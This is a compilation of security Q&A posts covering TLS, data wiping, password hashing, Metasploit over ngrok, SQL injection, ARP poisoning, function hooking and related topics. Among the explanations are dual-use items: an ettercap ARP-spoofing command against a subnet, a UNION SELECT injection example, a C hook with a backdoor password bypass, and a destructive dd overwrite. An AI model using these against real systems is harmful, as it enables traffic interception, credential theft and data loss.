All of the above settings are used in tandem to ensure transport security from the client to server: HSTS ensures only HTTPS is being used, a certificate signed by a trusted CA ensures the user may safely trust the certificate, TLSV1.2/1.3 are safe to use to exchange keys (TLSv1.0/1.1 have issues), an "A" ciphersuite configuration does not have any known flaws, and sub-resource integrity will ensure that the user's browser does not interpret any malicious JS modified by a 3rd party on a potentially hacked website (for example, jQuery JS files on the jQuery CDN.)
The threats posed by transferring credit card information over plaintext is namely information disclosure via MITM. However, plaintext HTTP is also vulnerable to integrity and even repudiation -- anyone in the middle can modify traffic as well as viewing it. Users may also hesitate to send CC information over websites which do not have the padlock or HTTPS in the URL.


How to properly wipe data from a USB? I have recently deleted all the files from my USB. Is this data permanently  gone, or is there someway of retrieving it (I want to make sure it's gone forever!).

What are the best methods for sanitising a USB?

The only absolutely sure way to sanitize flash memory is a hammer. The problem is that flash drives have often physically bigger capacity to account for blocks that will be worn over time or to increase the lifetime of the disk (flash memory has limited write/erase endurance). For example you buy 2GB, but physically it is 2,2GB). There is a controller chip in every usb stick that keeps track of where each chunk of data is stored at any particular moment and which blocks are bad. You data may lie anywhere.

If you are using Linux then the best way I can think of is just dd if=/dev/zero of=/dev/sdX where X is your device (eg. /dev/sdd). It will overwrite as much as possible, so that most of the data will be removed (but keep in mind the spare hidden capacity of your flash drive). You most likely have to run dd as root and beware - if you type the wrong device name (eg. /dev/sda) you will wipe your main disk.


How do big business like Google keep passwords so secure when others can't? I'm trying to wrap my head around this; please bear with me. How does Google keep your username and password secure? Do they keep it in some sort of database? I imagine some sort of encryption is used; at what stage does it occur?

What separates Google's practices from Ashley Madison's? Why is Google's database never leaked?

I know they have larger teams and more money, but I want to know how their actual strategies differ apart from manpower.

It isn't about money or size as such, it is more about exposure and careful design.

Good practice for storing user authentication details includes doing a one-way hash of a users password and only storing that. There are many ways to do that hashing process but not all of them are especially secure. It also includes storing the authentication details inside a more secure area of your network to reduce the potential for attackers to be able to grab a copy of the database (giving them time to work on decrypting it offline).

Ill thought-out designs create serious weaknesses in complex security giving attackers an easier time of getting in and getting hold of critical data.

Security conscious enterprises also tend to have more complex security architectures built up in layers with additional tools such as Intrusion Protection and Data Loss Prevention services and have some form of security operations that monitor activities across the IT estate.

That all costs $$$ of course and enterprises working on narrow margins might skimp on such things.

Finally, you get the "Innovation" problem. Where you get an organisation that is primarily focussed on innovation such as a startup with a specific idea to sell, it is all too common to find that common sense never makes it into planning and operations!

Google managed to find that right combination of innovation, planning and operations that has made them very successful. They have much to offer but actually are far from a shining light in terms of customer security but that is probably a different question.


Metasploit over WAN (ngrok) - Specify different LHOST and LPORT for payload and listener in an exploit I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed within the metasploit console and not by physically generating a payload using msfvenom.
Since I do not want to port-forward my own router to my computer's IP on the 'attacker' side, I have chosen to use ngrok's IP and port as LHOST and LPORT for my payload.
However, I am not able to run the exploit as the handler fails to bind to ngrok's IP. Is it possible to specify 2 different LHOSTS for the payload and the handler so that I am able to listen on my own correct IP while telling the payload to connect back to ngrok's forwarding IP?

It turns out I had to use another metasploit session to run multi/handler on the correct port as the first session was trying to bind my listening port wrongly as the ngrok given port and my listening port was different. All I had to do was to use another handler to listen on my loopback address + local listening port.


Dangers of including iframes in my website I have a website say www.example.com.

I include an iframe in www.example.com which loads a another page (say evil.example.net).

What can the owner of evil.example.net do to attack www.example.com?

Your main concern will be malicious javascript, actionscript (flash), Adobe Acrobat and Java Runtime code. These are all web attack surfaces that can be exploited to infect someone via (out-of date) browser plugins.

The problem you're describing is exactly what happens when a popular site accidentally distributes mailicious ads


Scraping data from a form submission on another domain I’m currently researching a possible security vulnerability I may have found on a well-known website. Before I present to the company, I’d like to build a proof of concept.

I’m looking at a site (Site A) that has a form. The user picks a location from a list and then enters a number between 1 and 10. The form then returns some information and a price.

I’d like to build a form on a different site (Site B) which replicates the steps and extracts the data from Site A.

I’m pretty certain that this isn’t possible without API access or CORS being configured. Is that right or could you build a bot to do the data scraping from Site A to B?

I think you are confused.

  I’d like to build a form on a different site (Site B) which replicates
  the steps and extracts the data from Site A.

That won't be possible because the same origin policy would restrict that. But the vulnerability you talked about has nothing to do with CORS. In fact, there is no security vulnerability to begin with.

  I’m pretty certain that this isn’t possible without API access or CORS
  being configured. Is that right or could you build a bot to do the
  data scraping from Site A to B?

You could build a bot to scrape data from A but there is no need to scrape that data from site B. If you want to scrape data, that is possible and only requires programming. I still don't see any vulnerability, if there is, please tell me in comments or edit the question


FIDO, U2F Compatibility I've been following the FIDO standard (a consumer-friendly public-key system similar to SSH key pairs) and it appears that it's close to being complete: both Google and PayPal have been testing it internally for some time, the just-announced Samsung S5 is compatible, and Yubikey has announced that the next version of their Neo product will be FIDO compliant.

I am looking to revamp my personal op-sec in the immediate future and I want to make sure the security token I buy will be backwards compatible with the FIDO standard.  The xNT implant and the next version of the NFC ring will both be utilizing NXP's NTAG216 NFC chip, which has some secure storage capabilities.  The xNT project lead stated over email that the xNT sticks to NFC standards so it should be compatible, however, Yubikey has stated that their current security tokens will not be forwards compatible with the standard.

Does anyone have any special insight as to what is required of the hardware to implement the FIDO U2F standard (why wouldn't the Yubikey's be backwards compatible, for example) and whether the xNT implant is future-proof?  I don't understand why they couldn't encrypt the public/private keys for U2F and store the decryption key on the Yubikey.

Per the Yubikey FAQ they state the following:

  ..."All YubiKey NEO devices manufactured as of February 10, 2015 supported the current FIDO U2F specification for NFC. To verify you have a YubiKey NEO that supports NFC, check to see your YubiKey is running firmware version 3.4.0 or later."...

Likewise, the YubiKey 4 (v4) and Neo (v3) are also listed as being FIDO certified U2F authenticators

Based on the YubiKey FAQ it appears either a hardware or firmware change occurred in their product line near the February 10th, 2015 date and that may be the cause of conflicting information you are running into.


New Requirement for PCI-DSS 3.2 What are the other requirements in PCI DSS 3.2 rather than these two :

Revised Secure Sockets Layer (SSL) and early Transport Layer Security (TLS) sunset dates as outlined in the Bulletin on Migrating from SSL and Early TLS.
Expansion of requirement 8.3 to include use of multi-factor authentication for administrators accessing the cardholder data environment.

Thanks.

According to Preparing for PCI DSS 3.2 - Summary of Changes, the following changes exist in addition to Multifactor and "early TLS" changes:

“Designated Entities Supplemental Validation” (DESV) is incorporated as an appendix and may be required on a case-by-case basis.
Service Providers are being singled out for more scrutiny given their broader impact on the attack surface.


How secure is Scrypt, really? I've been recently taking a hard look at the scrypt system for storing users' passwords. However, I'm rather worried about it's security because of things like Litecoin miners.

Is scrypt secure enough to store passwords, even with the availability of Scrypt ASIC miners? Can people use scrypt ASIC miners to crack passwords in a reasonable time?

Theoretically speaking, Scrypt gives higher safety  per unit compute time than already similar known ones. It is also possible, with Scrypt, to  set the memory space needed to compute the result   thus making a brute-force attacker pay penalties (in terms of memory and processor ... and GPU).

From a  theoretical and algorithmic perspective  Scrypt is superior  in its domain and it makes it VERY expensive for custom hardware attacks to be conducted because it is a memory-hard algorithm.

However, even if Scrypt presented itself as an issue to Bitcoins GPU mining, GPU miners are flooding the Scrypt network ( I mention GPU miners because they are the most frequently used in Scrypt miners for this reason). But, by design, still an attacker needs  to use lot of memory (but not necessarily more electricity) to speed his attempt (brute force)  otherwise, less memory leads to slower attack: which thing Scrypt highly secure.

I think this table below gives you a more straightforward for the information you are looking for and you can judge by yourself:

(Source of the table)

We can make a parallel with bcrypt that was created 10 years earlier -before scrypt- ASIC miners was considered as a minor threat but nowadays an attacker could be equipped by big field-programmable gate array.

Because we do not know what tomorrow is hiding for us, and as the machines' processing power evolves, we can not really say anything about the future especially that ASIC resistant algorithms -such as Scrypt-adaptive-Nfactor algorithm- already have been developed for those who can not mine using expensive specialized computers.  except that you can still rely on scrypt by the moment.


What SQL payloads can be injected for a numeric field? I have a parameter (pi_apk_version_code) that seems to be vulnerable to SQL Injection (the team is divided on this). The database column corresponding to this parameter accepts only numeric values. Now, if a payload "; or 1=1" is manually given as input to this parameter, the output is an Oracle error code (ORA-01722: invalid number). The same input when given via a fuzzer does not result in an Oracle error code, but returns the desired results from the query.

Is this indicative of SQL injection being present?
If you think SQL injection is present, what are some payloads you will supply to exploit it so that one can be convinced that SQL injection is really present?

[Edit]

SQLmap was run for this and no issues were detected.

[Edit]

PL/SQL Queries in focus (pi_apk_OS and pi_apk_version_code are inputs coming from the client):

    SELECT COUNT(1)
          INTO l_count
          FROM APK_VERSION_MASTER
         WHERE apk_OS = pi_apk_OS
              --AND  apk_version_code = pi_apk_version_code
           AND Status = 'A';

        OPEN rc_result FOR
          SELECT apk_version_code,
                 apk_version_string,
                 (CASE
                   --WHEN pi_apk_version_code < apk_version_code THEN
                   WHEN pi_apk_version_code < lowest_version_code THEN
                    'Y'
                   ELSE
                    'N'
                 END) AS is_Mandatory,
                 path,
                 upgrade_playstore,
                 l_error_code return_code,
                 l_error_message return_message
            FROM APK_VERSION_MASTER
           WHERE apk_OS = pi_apk_OS
             AND apk_version_code = (SELECT MAX(apk_version_code)
                                       FROM APK_VERSION_MASTER b
                                      WHERE b.apk_OS = pi_apk_OS
                                        AND Status = 'A');

It depends on the code of your application whether this input can be misused, not on the database or the query (disregarding parametrized queries).

If your application rejects all but valid numbers, there is no possibility that the input can be misused, since only "harmless" numbers will be inserted into the query.

If your application does no proper validation and inserts the input directly to the SQL statement, SQL-injection may be possible. You didn't include your query so i will invent an example. Following query should list all articles of a given category:

SELECT name FROM articles WHERE category = 1

Instead of 1 our input is 1 UNION...

SELECT name FROM articles WHERE category = 1 UNION SELECT password FROM users

This would return a much larger list...


Wordpress pingback attack I am getting Wordpress pingback attach on my server. I tried to put if condition on nginx to block deny all requests that contains "Wordpress" in the header. It works fine but still nginx get millions of requests per second and it is useful solution. Then I tried following solution that works better:

There are thousands of IPs involved in the attack on only port 80. I used following rule to block this attack:

iptables -A INPUT -p tcp -m recent --update --seconds 600 --name PINGBACK --rsource -j DROP
iptables -A INPUT -p tcp -m tcp --dport 80 -m string --string "WordPress/" --algo kmp -m recent --set --name PINGBACK --rsource

This rule is from this site. It works all fine. However, the IPs keep coming back and my system tried to keep blocking the packets. I want to log the list of all these IPs which contain "WordPress" in the header. Is it possible to do it?

EDIT

dmesg output

net_ratelimit: 346 callbacks suppressed
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
net_ratelimit: 483 callbacks suppressed
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
nf_conntrack: table full, dropping packet
net_ratelimit: 5 callbacks suppressed

In your case, /proc/net/ipt_recent/PINGBACK (or /proc/net/xt_recent/PINGBACK in some installations) contains the list of all IP addresses seen as WordPress bots during last 600 seconds. This is a text file which is updated automatically in real time by the system.

You can either collect data from this file over some period of time or set an interval bigger than 600 seconds in your iptables rule.


ubuntu sources.list urls are not HTTPS -- what risk does this present, if any? I was looking at the installation instructions for VS Code today and found this step curious:
sudo apt install apt-transport-https

I see that there appears to be https transport available for apt:
$ ls -1 /usr/lib/apt/methods
cdrom
copy
file
ftp
gpgv
http
https
mirror
mirror+copy
mirror+file
mirror+ftp
mirror+http
mirror+https
rred
rsh
ssh
store

This made me curious about why Microsoft would have one install that package so I did some searching and ran across this article from cloud flare which points out that even fairly recent versions of Debian require additional steps to secure apt.
I was quite surprised to see that all of the urls in my sources.list are NOT https. My machine is running Ubuntu 20.04, upgraded from Ubuntu 18.04:
$ grep http /etc/apt/sources.list
# See http://help.ubuntu.com/community/UpgradeNotes for how to upgrade to
deb http://us.archive.ubuntu.com/ubuntu/ focal main restricted
deb http://us.archive.ubuntu.com/ubuntu/ focal-updates main restricted
deb http://us.archive.ubuntu.com/ubuntu/ focal universe
deb http://us.archive.ubuntu.com/ubuntu/ focal-updates universe
deb http://us.archive.ubuntu.com/ubuntu/ focal multiverse
deb http://us.archive.ubuntu.com/ubuntu/ focal-updates multiverse
deb http://us.archive.ubuntu.com/ubuntu/ focal-backports main restricted universe multiverse
# deb http://archive.canonical.com/ubuntu focal partner
# deb-src http://archive.canonical.com/ubuntu focal partner
deb http://security.ubuntu.com/ubuntu focal-security main restricted
deb http://security.ubuntu.com/ubuntu focal-security universe
deb http://security.ubuntu.com/ubuntu focal-security multiverse

This seems less than ideal. It occurs to me that https can be more finicky and any failures might impede critical software updates, but this also seems painfully out of date from a security perspective. On the other hand, the information being transferred is open source software, so there isn't really any risk if someone snoops the packets in transit -- it's not sensitive information, is it?
Still, I'm wondering if there is risk in this. Is the HTTP protocol vulnerable to packet injection in transit? Can anyone lay out what risks there might be in using insecure HTTP traffic for apt?

apt (and other package managers) uses digital signatures to verify the authenticity of packages after downloading them. If a MITM modifies a package in transit, you get an error since the check fails. See https://help.ubuntu.com/community/SecureApt

Apt-get package management uses public key cryptography to authenticate downloaded packages.

Using HTTPS instead of HTTP hides some information from third parties, though. See https://manpages.ubuntu.com/manpages/focal/man1/apt-transport-https.1.html

A sufficiently capable attacker can still observe the communication partners and deeper analysis of the encrypted communication might still reveal important details.


ARP-poisoning on wireless network - no packets I've started working with ettercap and ARP-poisoning; however, I've stumbled upon some problems. I've executed the following command:

ettercap -i wlan0 -w log -T -M arp:remote /192.168.1.254/ /192.168.1.0-84,86-253,255/

192.168.1.254 is the gateway, 192.168.1.85 is my own internal IP address.
It starts sniffing but I'm not receiving any packets, I've tried to capture my own traffic which works.
What's the problem? I've specified ip_forwarding using echo 1 >> /proc/sys/net/ipv4/ip_forward.

It depends on your WiFi chip. Some chips to not support promiscuous mode. For many chips, you can get special drivers that enable promiscuous mode. You can search on the aircrack-ng for drivers that support your chip, or you can get a $10 USB WiFi device that works better.


What are JS malware attack techniques? Malicious JavaScript (generated by malicious hosted PHP code for example) can lead to attacks.  What are  the types of attack that malicious javascript could perform? Are the drive-by download attacks the only ones that malicious javaScript performs?

To see an explanation of typical methods of exploiting Javascript, it would be better to get a book on the subject, rather than rely on fragmentary answers here. There are many such books, for example:

"The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws" by Dafydd Stuttard, and Marcus Pinto.

"XSS Attacks: Cross Site Scripting Exploits and Defense" by Seth Fogie

If you would like a quick summary of past and known exploit types involving Javascript, you can check out MITRE's CVE (common vulnerability) database using the keyword "javascript":

MITRE CVEs involving Javascript

There are about 1,000 Javascript CVEs and perusing them will give you a complete view of the normal range of hacks using Javascript.

Perhaps a better way to approach your question, is not so much to provide a zoology of "attack types", but to understand why a web page containing Javascript is more likely to be able compromise a web client, than a page which has just plain HTML.

Javascript presents an increased security risk for two main reasons: (1) it is much more complex than HTML, and (2) it allows for more sophisticated interaction with the user, hence more opportunity to trick the user. Thus, there are two basic vulnerability surfaces, the client code and the human/social engineering factor.

When the client parses and reacts to HTML content, the range of possible actions is much more limited than the range of possible worlds that may arise after parsing and running Javascript. To protect against malicious code, the client programmer must anticipate every possible thing that could happen and avoid any bad consequences. Obviously, this is much harder to do for a computer program, than for page layout instruction.


How does Dropbox keep files secure I have read that Dropbox encrypts all the files that are uploaded with a single encryption key. Where is this key stored and why do they bother encrypting the stored items if they just store the key as well? It seems like if someone got a hold of the data, they could also get a hold of the key. Why is this not the case?

Update:

I am writing some software that will have to solve the problem of encrypting data on a server while still being able to decrypt it myself, but not let others do so. I am interested in how Dropbox solved this problem, not in how reliable/secure dropbox is as a service (though, if it isn't secure, I only want to know how they solved the problem so I can avoid doing it that way).

I've had a short look around, but can't seem to find anything alleging that only a single key is used to encrypt data. Their security overview page does use the word "keys" (plural). The question is also tricky to answer, because Dropbox doesn't go into much detail about their security arrangements.

But key management is really only one link in the chain. For example, even if every file had its own unique key, your files would not be secure if Dropbox happily handed copies of the key and data to anyone who asked.

Briefly:

Dropbox's systems have access to the content of your files (this is how they detect duplicate files, which saves storage space and increases responsiveness).
Dropbox encrypts your files at rest and in transit.
Therefore, Dropbox must have access to (and copies of) the encryption keys.

Also, while Dropbox staff are prohibited by company policy from viewing file content, they still can access it (e.g. if law enforcement compels Dropbox to provide copies).

Therefore, this must mean that the real way Dropbox keeps your files secure is by:

Having internal controls, checks, balances, and audits. (e.g. Logging all unusual file access and following up).
Having a talented legal team to challenge any law enforcement requests that are inappropriate, overly broad, or otherwise harmful to their reputation.

So:

Dropbox keeps your files secure against its own staff by having good internal controls.
Dropbox keeps your files secure against eavesdropping by encrypting it in transit and at rest
Dropbox keeps your files secure against government agencies by having a good legal team

If you trust Dropbox, great. If you would prefer to not have to trust Dropbox, use Spideroak or Wuala, or encrypt your files yourself before uploading them.


Saving an Id on a cookie. Security point of view? I'm developing an ASP.NET MVC 5 website, which a user can select some filters, based on those fillers the server process a result, and the user can make a order and pay for it.

In my Order table i store the filters(5 columns), the Id(PK), and i need to store a OrderId in a cookie to track it, i know that is a bad practice to expose and store the PK on the client side so i create another column called OrderId. This order id must be unique too, and friendly read (so a GUID is discard here), i thought to get the DateTime("yyyyMMddhhmmssffff") and concat with other filter to make this Id, but i think that is a weak option because an attacker could find the pattern easily.

What is the option that I have to deal with this situation? May I hash this OrderID before save the cookie? And about saving the plain code on DB? The cookie validation  is 24 hours.

Depending on the sensitivity of the data, I would suggesting the following items, arranged from least secure to most secure.

Do Nothing: Based on the contents of your question, I'd probably choose this option. A lookup filter isn't associated to a user (apparently) and probably doesn't expose anything particularly interesting. You could even expose the PK directly without too much worry, unless those filters could expose sensitive data. I know plenty of systems that use other means of protecting filters (and all other data), most notably using an actual session ID so the filter can only be seen by users authorized to see it.

Randomize PK: Make the PK a random number instead of auto-number. This keeps people from guessing PKs by counting back and forth. This makes it harder to find a valid filter. I would use this if the filter doesn't contain any sensitive data at all; make it non-trivial for an attacker to find a random filter. I would use a large random number space, such as 64-, 128-, or 256-bit numbers. Use this if you simply want to avoid people "sniffing" your database for interesting values.

Sign PK: Attach a nonce or MAC to each PK, so that the nonce and PK together are needed to retrieve the value. This prevents casual modification of the PK on the client. Validate that the MAC or nonce matches the expected value. This should deter casual hackers, especially if the data is particularly uninteresting and doesn't contain personal information.

Encrypt PK: Simply encrypt the cookie before sending it. This is the first recommendation in the list that suggests that the PK isn't directly sent to the client, and I would only use this method for personally identifying information, or if exposure of the filter would result in potential fraud. I would also combine this step with signing and randomization for a robust solution.


Restricting access to "hacking" sites and tools I tried following a link from a post on this site and discovered that insecure.org is blocked by our internet proxy.

What are the potential benefits and risks of allowing access to such sites to developers and architects and how might we mitigate these risks?  Some benefits:

Giving the developers and architects insight into what they are up against.
Giving the developers and architects the tools and knowledge to test their systems for vulnerabilities

On the downside, some of these tools may be dangerous and bad things could happen even if there was no ill-intent.  I don't see much additional risk (at least not that can't be mitigated) given that the developers are building the actual systems that we are trying to protect.  They already have the ability to make bad things happen in much more direct and powerful ways.

Are there aspects here that I have not considered?

The main issue is that these tools induce suspicious behaviors (suspicious network activity, suspicious files, suspicious process behavior, etc.). From a network monitoring perspective, how would you then reliably detect an actual attacker if its activity is just blending in background noise of "normal" suspicious behavior affecting your network and systems?

Providing the right tool for the right people to do their job remains still possible, but this requires a clear definition of the involved tools, people and job so everyone can agree on what a normal and expected behavior is.

This is called a policy.

Such policy would therefore cover domains like:

The tools: Do you really need to allow your developer and architect to download anything from anywhere from the Internet? Certainly not. You may constitute a list of approved security software downloaded from a trusted source, whose authenticity has been carefully verified, and made available internally to the people really needing them.
The people: Instead of opening holes in the corporate proxy, having a specific set of tools shared internally from a single location may allow a greater control over the access to these tools. The policy may describe the process which should be followed when someone want to access this repository: who he should contact, what information he should provide, what motive would be considered legitimate.
The job: Do your allowed developers and architects really need the ability to scan or hack anything anywhere at any time? Here again, certainly not. You will therefore be able to decide from and against which machines the attack scenarios can occur, you may even plan some kind of confined network dedicated to such usage to ensure that the outer network and system will not be affected.


What is the difference between "hooking" and "rooting"? My client did a pentest and he gave us feedback about root detection.
So I used RootBeer android lib to fix root detection. In their readme, they highlighted that root detection is a "game of cat and mouse".
Once we have delivered the new release with root detection our client gave us feedback that he could break root detection using frida. But IMHO this is hooking not rooting.
I will be happy if someone could give me an explanation about the difference between hooking and rooting and if there is a relationship between them.

Rooting is a term for gaining root privileges on a system. Detecting an attacker that has rooted your system is very difficult, since the root user can generally do anything it wants, including tampering with logs or modifying security software and configuration. Rooting is a very broad term and can encompass many things. An attacker who rooted a system may use hooking to hide his presence.
Hooking is a specific technique that is often used in hacking (although also has a place in debugging). It usually entails replacing a target function with a "dummy" function that acts as a wrapper and contains code that evaluates or modifies arguments before passing them on to the "original" function, or even replaces the original function in its entirety. Below is example source code for a shared object that hooks a function from the fictional library libexample called is_password_correct(). If the password is ActivateBackdoor! then normal password checks are bypassed and it returns true.
#include <dlfcn.h>
#include <string.h>

bool is_password_correct(char *pass)
{
    static bool (*original_function)(char *);
    void *handle;

    if (!original_function) {
        handle = dlopen("/usr/lib/libexample.so", RTLD_LAZY|RTLD_LOCAL);
        original_function = dlsym(handle, "is_password_correct");
        dlclose(handle);
    }

    return strcmp(pass, "ActivateBackdoor!") ? original_function(pass) : true;
}

This is not the only kind of function hooking. You can hook other APIs like syscalls as well.


UWP Windows 10 applications: Internals and Pentesting I have tried looking into this topic. I started with understanding how differently a .exe Desktop app and a .appx Universal Windows app works. And this  is my understanding:

UWP apps will run in a sandboxed environment with a virtualized registry and file system: Registry entries are redirected into a Registry.dat file in the app's installation folder, AppData redirects to a private app data store and the custim dlls are stored in folder within the app's installation folder.
UWP apps will have access to a subset of the win32 APIs.
UWP apps cannot run with elevated privileges.

The queries I have are:

Are there any other internals which I've missed and worth noting.
How would we approach pen-testing UWP apps targeted at Windows 10 tabs and devices.

1) "Are there any other internals which I've missed and worth noting."

I'm not sure if I've understood you correctly, especially at the "worth nothing" part but there is a big change on the sandboxing mechanism. According to a review at The Register, Microsoft removes a part of the sandboxing for the applications which have been downloaded from the Application Store (not sure if this applies to the 3rd party applications).

Also, they have been thinking of expanding the Windows API so that more features and libraries will be usable by the user applications. To defend this choice, they claim that it should be users responsibility to inspect the applications intent rather than blocking the applications capabilities.

Finally, Microsoft is still considering if it was a good idea to unify the platforms or not, according to the link above. If you ask me, these are some radical changes. I'm not an expert on the UWP topic but as far as I've seen, it is only a way of packaging rather than an effort to implement heightened security. A .appx file seems to contain; a standard executable, block map file which contains file hashes, an app signature and the rest of the data such as images and so on. Maybe they will take more and more radical decisions soon, such as reverting back to the old structure.

2) "How would we approach pen-testing UWP apps targeted at Windows 10 tabs and devices."

Test Types:

Debugger: Well, as with any other Windows application I would start with OllyDbg or an equivalent debugger to analyze the behavior. If you know how to read a debugger output, you can gain a lot of information quickly.
Fuzz Testing: Again same with the debugging, always a good choice to try. Forcing various data towards the application through input channels may reveal some information about the application.

Now, for the attack types:

DLL Injection: It seems to be working with the UWP applications too but only if the included DLLs in the .appx are not signed. Trying to hook different malicious DLLs might give you an insight on the security side. In here, actually somebody used this method as a game mod.
Privilege Escalation: Although there is a sandbox mechanism, it is not a guarantee for perfect encapsulation. In fact, the post in this link claims that somebody have managed to use an exploit in a 0-day payload to escape APPCONTAINER mechanism.
Input/Output Sniffing: Lets assume that your application is secure as a castle itself. All DLLs are signed, there are no exploits in the DLLs you use or in DLLs which belong the system. Fuzzing tests have found not even a slightest bug. Even in this situation, there might be design flaws in your application which you will have to consider. Does your application show a valuable information in clear text which can be obtained by a screenshot? Does your application communicate with an external source without an encryption? These questions actually do not depend on the UWP system but again they may reveal delicate information about the application or the user. Your application can be secure but Windows still uses Win32 applications beside the UWP ones so you have to be careful about the design flaws.

That is what I can think of now. I've never used any of these methods on a Windows 10 before since it would be more beneficial for a hacker to utilize phishing methods rather than look for cracks in the software. Hope it helps!


Microsoft Exchange: Email and attachment encrypting As per recent updates in UK data protection legislation I have been trying to find ways of encrypting all outbound emails from my server and was considering moving all our emails from a basic email host over to a Windows Server with exchange.

My question is, using an Exchange Server, what is the best way of encrypting all outbound emails and attachments without the need for the recipient to install third party tools to take them to their website to view (i.e. products like Virtru).

There is little you can do. While encryption is supported every step of the way, the only part under your control is your client to your server.

To use encryption when sending from your server to other server, both servers have to support encryption and the receiver client server connection is completely out of your control.

You should disallow unencrypted connections to your server (from your clients). There is no reason not to.
You may refuse to connect to other servers without encryption, but this will cause e-mails not to be delivered to people, who use servers that don't support encryption.
There is no way you can force encryption between recipients server and client, that part is out of your control.

That is why end-to-end encryption (using third party tools such as enigmail) is much superior when communicating using e-mail. E-mail is inehrently insecure, because it has to support variety if legacy servers and clients.


Is it possible to find who posted comment on my blogspot anonymously? Problem Behind question :

I own an blogspot site and people used to come and comment on my posts. In recent days I can see a spammer who comments anonymously on my every blog-posts. The comments were posted under the name of anonymous. Is it possible to track the IP or some stuff related to spammer whom makes comments anonymously?

Question :

How to detect who commented on my blogpost anonymously?

I don't think that there is a way through what you have on Blogger if you have been allowing anonymous comments.

It would be possible for Google to track the IP; but even if they were inclined to react to an abuse report, they would not pass on that information to you.

There are indirect ways you could narrow things down if circumstances are right and if you want to spend a lot of time doing a lot of work for uncertain results. Let's call your anonymous comments, T (for Troll). If you can find other things around the net that T has posted (using the same phrases, style, etc) then you may be able to work from those. For example, if T is posting under some pseudonym on a forum that uses Gravatar (even if T doesn't), then you may be able to get an MD5 hash of the email address T used to sign up for that forum.  This sort of de-anonymizing is described here.

Or maybe T boasts about trolling you in some other place. Or something like that.

But these sorts of methods involve a lot of uncertainty. And if T is even half way experienced at this kind of thing, then then the IP is going to be through some proxy anyway, and any email address you find will be a throw away email.

It may be presumptuous of me to advise when I don't know the situation, but my inclination is to suggest that you just let it go. Don't let T's actions control your mind. Don't try to seek revenge. Just disable anonymous comments and let things go.